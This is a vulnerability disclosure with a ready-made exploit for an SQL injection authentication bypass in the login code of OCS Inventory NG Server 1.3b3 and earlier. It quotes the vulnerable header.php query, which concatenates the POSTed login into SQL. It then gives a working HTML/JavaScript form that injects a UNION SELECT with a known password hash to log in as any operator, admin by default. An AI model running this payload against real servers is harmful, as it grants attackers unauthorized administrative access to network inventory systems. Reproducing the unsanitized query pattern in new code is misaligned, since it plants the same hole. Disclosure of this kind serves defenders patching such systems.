OCS Inventory NG Server <= 1.3b3 (login) Remote Authentication Bypass

OCS Inventory NG Server <= 1.3b3 (login) Remote Authentication Bypass

Software : Open Computer and Software (OCS) Inventory NG
Download : http://www.ocsinventory-ng.org/
Discovered by : Nicolas DEROUET (nicolas.derouet[gmail]com)
Version : 1.03-beta3 and prior
Impact : Critical
Remote : Yes (No authentication is needed)

== Description ==

Open Computer and Software (OCS) Inventory Next Generation (NG) is an
application designed to help a network or system administrator keep track
of the computers configuration and software that are installed on the network.

The vulnerability is a sql injection which exists in header.php file.
Attacker could pass a special sql string which can used to create/modify
information stored in the database or authenticated in any user.

script : header.php

102 if(isset($_POST["login"])) {
103 $req="SELECT id, accesslvl, passwd FROM operators WHERE
id='".$_POST["login"]."'";
104 $res=mysql_query($req,$_SESSION["readServer"]) or die(mysql_error());
105
106 if($row=@mysql_fetch_object($res))
107 {
108 // DL 25/08/2005
109 // Support new MD5 encrypted password or old clear password
for login only
110 if (($row->passwd != md5( $_POST["pass"])) and
111 ($row->passwd != $_POST["pass"])) {

== Exploit ==

<script>
function inject()
{
document.getElementById('log').action =
document.getElementById('ocsreports').value + 'index.php';
sql = "0' UNION SELECT id, accesslvl,
'a181b4673216ad247a0f78066a9646e1' FROM operators WHERE id='"
document.getElementById('login').value = sql +
document.getElementById('user').value;
document.getElementById('pass').value = "inject";
}
</script>
<form name="log" id="log" action="" method="post">
<table border="0" width="450px">
<tr>
<td><b>OCSReports :</b></td>
<td><input type="text" id="ocsreports" size="40"
value="http://127.0.0.1/ocsreports/&quot; /></td>
</tr>
<tr>
<td><b>Login :</b></td>
<td><input type="text" id="user" size="40" value="admin" /></td>
</tr>
<tr>
<td><input type="hidden" name="login" id="login" />
<input type="hidden" name="pass" id="pass" /></td>
<td><input type="submit" name="subLogin" onclick="inject();"></td>
</tr>
</table>
</form>